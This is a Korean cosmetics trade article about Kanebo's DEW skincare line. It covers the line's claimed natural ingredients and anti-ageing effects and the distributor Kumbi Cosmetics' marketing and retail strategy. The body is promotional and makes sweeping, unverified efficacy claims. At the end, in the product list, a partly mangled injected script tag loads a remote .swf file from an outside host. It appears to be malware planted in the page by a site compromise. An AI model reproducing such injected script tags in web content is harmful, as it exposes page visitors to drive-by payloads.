근래 수년간 여성들의 피부는 급속도로 건조화되어 가고 있다고 한다.
과도한 냉난방과 늘어나는 스트레스 등은 피부의 밸런스를 흐트러뜨리는 최대의 적으로 건조함은 피부 노화, 생기 부족 등으로 이어져 여성의 피부에 끊임없는 트러블을 일으킨다.
가네보의 듀는 보습효과가 탁월한 고농도 듀 엑기스가 피부 깊숙이 작용하여 피부의 70%인 수분을 되찾아 맨 피부의 미래를 보장해 주기 위해 개발된 제품이다.
제품 특징
듀는 현재의 피부 트러블을 개선하면서 피부를 아름답게 유지하기 위해 피부가 본래 갖고 있는 ‘자연 치유력’을 높여 개선과 예방을 동시에 한다는 사고에서 생겨난 브랜드다.
오렌지 과즙, 나이아신B, 해조 엑기스, 황벽나무 엑기스, 효모 엑기스, 정향나무 엑기스 등의 6가지 천연 성분이 콜라겐 UP(피부의 생기, 탄력감 향상), 배리어 UP(피부내측에서의 보습력 향상), 보호력 UP(외부환경에 대한 피부저항력 향상) 등 이 세 가지 작용을 동시에 하면서 피부의 자연 치유력을 높여주어 피부의 생기, 탄력을 유지하고, 활력을 주어 여러 가지 손상으로부터 피부를 보호해준다.
듀는 종래의 에이징 케어 상품과는 다르게, 이미 생긴 피부의 에이징 현상(주름, 기미, 늘어짐 등)에 대응할 뿐만 아니라, 미래의 건강하고 아름다운 피부를 계속 보증하는 미래형 스킨케어이다.
마케팅 및 영업 전략
금비 화장품은 피부 내부의 밸런스를 조절하여 피부가 본래 갖고 있는 ‘스스로 아름다워지려는 피부의 자연 치유력 회복’이라는 자연주의 컨셉으로 개발된 가네보 듀 라인을 통해 하반기 프리미엄 스킨케어 시장을 적극적으로 공략해 나아갈 방침이다.
트리트먼트 듀와 모이스춰 듀의 스킨, 로션 2종 출시로 시작된 듀 브랜드 런칭 후 소비자들의 좋은 반응에 힘입어 2003년 상반기, 크림 듀, 에센스 듀를 새롭게 선보이고 최근 각광받고 있는 시트 타입의 마스크 제품인 리페어 마스크 듀 출시에 이르기까지 순차적으로 이루어 지고 있는 지속적인 라인업을 통해 장기적인 롱런 브랜드로 육성하기 위해 노력하고 있다.
현재 일본 시장의 소비자들에게 호평받고 있는 우수한 품질력을 경쟁력으로 소비자들에게 듀 라인의 제품을 직접 사용하는 기회를 제공하는 체험 마케팅을 다양한 루트를 통해 적극적으로 전개해 나아가는 것이 홍보, 프로모션 등 마케팅 전략의 핵심이다.
식물에서 추출한 6가지 천연 원료를 주원료로 피부의 건강을 가장 우선으로 한 헬시 스킨케어 라인이라는 브랜드 이미지 구축을 위해 듀 라인의 지속적인 매체광고 진행과 다각도의 홍보활동, 그리고 전문점을 대상으로 한 판촉 프로모션을 통해 위축된 전문점 시장에 활력을 불어넣어 소비자의 발길을 매장으로 유도하고 있다.
홍보 분야에서는 여성 대상의 월간지와 연계해 듀 라인 제품의 체험 기회를 제공하고 뷰티 클래스의 지속적인 개최를 통해 듀 브랜드 인지도 상승을 위한 활발한 PR 활동을 전개해 나아가고 있다.
특히 대기가 건조한 가을, 겨울 철을 맞이하여 전품 에센스 감각인 듀 라인을 고 보습 라인으로 적극적으로 알리는 한편 안티 에이징 분야에서 새롭게 부각되고 있는 조기 노화 관리 아이템으로 ‘20대가 쓰는 First anti-ageing’이라는 독특한 컨셉으로 신선한 이미지 구축에 힘쓰고 있다.
영업 분야에서는 그간 고수해온 거점 체인점을 중심으로 한 가격 안정화, 체인점 이윤 보장의 채널 관리를 꾸준하게 전개해 나아가면서 체인점 내에서 다양한 샘플링과 소비자의 관심을 끌 수 있는 다채로운 POP물을 통해 체인점과의 윈-윈 전략을 지향하고 있다.
금비 화장품은 체인점 내 판매 점유율을 높일 제품으로 DEW에 신경을 배가하는 한편 가네보 프레스티지 브랜드로 구축을 위한 마케팅 활동을 계속해서 펼쳐 나아갈 것이다.
제품 구성
▶리페어 마스크 듀/6매- ?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
<저작권자 © 제니파크, 무단 전재 및 재배포 금지>
